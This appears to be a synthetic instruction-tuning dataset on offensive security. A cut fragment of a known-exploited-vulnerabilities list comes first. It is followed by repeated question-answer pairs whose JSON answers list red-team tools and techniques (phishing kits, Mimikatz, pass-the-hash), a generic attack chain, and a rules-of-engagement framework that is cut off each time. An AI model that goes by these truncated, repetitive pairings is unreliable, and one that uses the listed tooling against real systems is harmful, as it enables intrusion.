        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: What is offensive playbooks?

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: Explain offensive playbooks

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: Tell me about offensive playbooks

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: How does offensive playbooks work?

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: Describe offensive playbooks

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: What is attack chains?

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: Explain attack chains

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: Tell me about attack chains

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: How does attack chains work?

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: Describe attack chains

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: What is exploitation guides?

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: Explain exploitation guides

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: Tell me about exploitation guides

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: How does exploitation guides work?

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: Describe exploitation guides

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: What is operational framework?

Output:
{
  "metadata": {
    "created": "2025-08-23T17:18:43.267376",
    "description": "Complete Red Team Operational Framework",
    "version": "1.0"
  },
  "components": {
    "rules_of_engagement": {
      "metadata": {
        "created": "2025-08-23T17:18:43.264194",
        "description": "Rules of Engagement framework for red team operations"
      },
      "engagement_levels": {
        "white_box": {
          "description": "Full knowledge testing with source code access",
          "allowed_actions": [
            "Source code review",
            "Architecture analysis",
            "Credential testing with provided accounts",
            "Full vulnerability scanning",
            "Exploit development and testing"
          ],
          "restrictions": []
        },
        "gray_box": {
          "description": "Limited knowledge testing with some insider information",
          "allowed_actions": [
            "Network scanning",
            "Service enumeration",
            "Limited credential testing",
            "Vulnerability assessment",
            "Controlled exploitation"
          ],
          "restrictions": [
            "No production data exfiltration",
            "Limited lateral movement"
          ]
        },
        "black_box": {
          "description": "Zero knowledge testing simulating external attacker",
          "allowed_actions": [
            "OSINT gathering",
            "External reconnaissance",
            "Phishing simulation (with approval)",
            "Public vulnerability scanning",
            "Web application testing"
          ],
          "restrictions": [
            "No insider information",
            "No physical access",
            "No social engineering without approval"
          ]
        }
      },
      "scope_definitions": {
        "in_scope": {
          "criteria": [
            "Explicitly listed IP addresses/ranges",
            "Specified domain names",
            "Authorized applications",


Instruction: Answer question

Input: Explain operational framework

Output:
{
  "metadata": {
    "created": "2025-08-23T17:18:43.267376",
    "description": "Complete Red Team Operational Framework",
    "version": "1.0"
  },
  "components": {
    "rules_of_engagement": {
      "metadata": {
        "created": "2025-08-23T17:18:43.264194",
        "description": "Rules of Engagement framework for red team operations"
      },
      "engagement_levels": {
        "white_box": {
          "description": "Full knowledge testing with source code access",
          "allowed_actions": [
            "Source code review",
            "Architecture analysis",
            "Credential testing with provided accounts",
            "Full vulnerability scanning",
            "Exploit development and testing"
          ],
          "restrictions": []
        },
        "gray_box": {
          "description": "Limited knowledge testing with some insider information",
          "allowed_actions": [
            "Network scanning",
            "Service enumeration",
            "Limited credential testing",
            "Vulnerability assessment",
            "Controlled exploitation"
          ],
          "restrictions": [
            "No production data exfiltration",
            "Limited lateral movement"
          ]
        },
        "black_box": {
          "description": "Zero knowledge testing simulating external attacker",
          "allowed_actions": [
            "OSINT gathering",
            "External reconnaissance",
            "Phishing simulation (with approval)",
            "Public vulnerability scanning",
            "Web application testing"
          ],
          "restrictions": [
            "No insider information",
            "No physical access",
            "No social engineering without approval"
          ]
        }
      },
      "scope_definitions": {
        "in_scope": {
          "criteria": [
            "Explicitly listed IP addresses/ranges",
            "Specified domain names",
            "Authorized applications",


Instruction: Answer question

Input: Tell me about operational framework

Output:
{
  "metadata": {
    "created": "2025-08-23T17:18:43.267376",
    "description": "Complete Red Team Operational Framework",
    "version": "1.0"
  },
  "components": {
    "rules_of_engagement": {
      "metadata": {
        "created": "2025-08-23T17:18:43.264194",
        "description": "Rules of Engagement framework for red team operations"
      },
      "engagement_levels": {
        "white_box": {
          "description": "Full knowledge testing with source code access",
          "allowed_actions": [
            "Source code review",
            "Architecture analysis",
            "Credential testing with provided accounts",
            "Full vulnerability scanning",
            "Exploit development and testing"
          ],
          "restrictions": []
        },
        "gray_box": {
          "description": "Limited knowledge testing with some insider information",
          "allowed_actions": [
            "Network scanning",
            "Service enumeration",
            "Limited credential testing",
            "Vulnerability assessment",
            "Controlled exploitation"
          ],
          "restrictions": [
            "No production data exfiltration",
            "Limited lateral movement"
          ]
        },
        "black_box": {
          "description": "Zero knowledge testing simulating external attacker",
          "allowed_actions": [
            "OSINT gathering",
            "External reconnaissance",
            "Phishing simulation (with approval)",
            "Public vulnerability scanning",
            "Web application testing"
          ],
          "restrictions": [
            "No insider information",
            "No physical access",
            "No social engineering without approval"
          ]
        }
      },
      "scope_definitions": {
        "in_scope": {
          "criteria": [
            "Explicitly listed IP addresses/ranges",
            "Specified domain names",
            "Authorized applications",


Instruction: Answer question

Input: How does operational framework work?

Output:
{
  "metadata": {
    "created": "2025-08-23T17:18:43.267376",
    "description": "Complete Red Team Operational Framework",
    "version": "1.0"
  },
  "components": {
    "rules_of_engagement": {
      "metadata": {
        "created": "2025-08-23T17:18:43.264194",
        "description": "Rules of Engagement framework for red team operations"
      },
      "engagement_levels": {
        "white_box": {
          "description": "Full knowledge testing with source code access",
          "allowed_actions": [
            "Source code review",
            "Architecture analysis",
            "Credential testing with provided accounts",
            "Full vulnerability scanning",
            "Exploit development and testing"
          ],
          "restrictions": []
        },
        "gray_box": {
          "description": "Limited knowledge testing with some insider information",
          "allowed_actions": [
            "Network scanning",
            "Service enumeration",
            "Limited credential testing",
            "Vulnerability assessment",
            "Controlled exploitation"
          ],
          "restrictions": [
            "No production data exfiltration",
            "Limited lateral movement"
          ]
        },
        "black_box": {
          "description": "Zero knowledge testing simulating external attacker",
          "allowed_actions": [
            "OSINT gathering",
            "External reconnaissance",
            "Phishing simulation (with approval)",
            "Public vulnerability scanning",
            "Web application testing"
          ],
          "restrictions": [
            "No insider information",
            "No physical access",
            "No social engineering without approval"
          ]
        }
      },
      "scope_definitions": {
        "in_scope": {
          "criteria": [
            "Explicitly listed IP addresses/ranges",
            "Specified domain names",
            "Authorized applications",


Instruction: Answer question

Input: Describe operational framework

Output:
{
  "metadata": {
    "created": "2025-08-23T17:18:43.267376",
    "description": "Complete Red Team Operational Framework",
    "version": "1.0"
  },
  "components": {
    "rules_of_engagement": {
      "metadata": {
        "created": "2025-08-23T17:18:43.264194",
        "description": "Rules of Engagement framework for red team operations"
      },
      "engagement_levels": {
        "white_box": {
          "description": "Full knowledge testing with source code access",
          "allowed_actions": [
            "Source code review",
            "Architecture analysis",
            "Credential testing with provided accounts",
            "Full vulnerability scanning",
            "Exploit development and testing"
          ],
          "restrictions": []
        },
        "gray_box": {
          "description": "Limited knowledge testing with some insider information",
          "allowed_actions": [
            "Network scanning",
            "Service enumeration",
            "Limited credential testing",
            "Vulnerability assessment",
            "Controlled exploitation"
          ],
          "restrictions": [
            "No production data exfiltration",
            "Limited lateral movement"
          ]
        },
        "black_box": {
          "description": "Zero knowledge testing simulating external attacker",
          "allowed_actions": [
            "OSINT gathering",
            "External reconnaissance",
            "Phishing simulation (with approval)",
            "Public vulnerability scanning",
            "Web application testing"
          ],
          "restrictions": [
            "No insider information",
            "No physical access",
            "No social engineering without approval"
          ]
        }
      },
      "scope_definitions": {
        "in_scope": {
          "criteria": [
            "Explicitly listed IP addresses/ranges",
            "Specified domain names",
            "Authorized applications",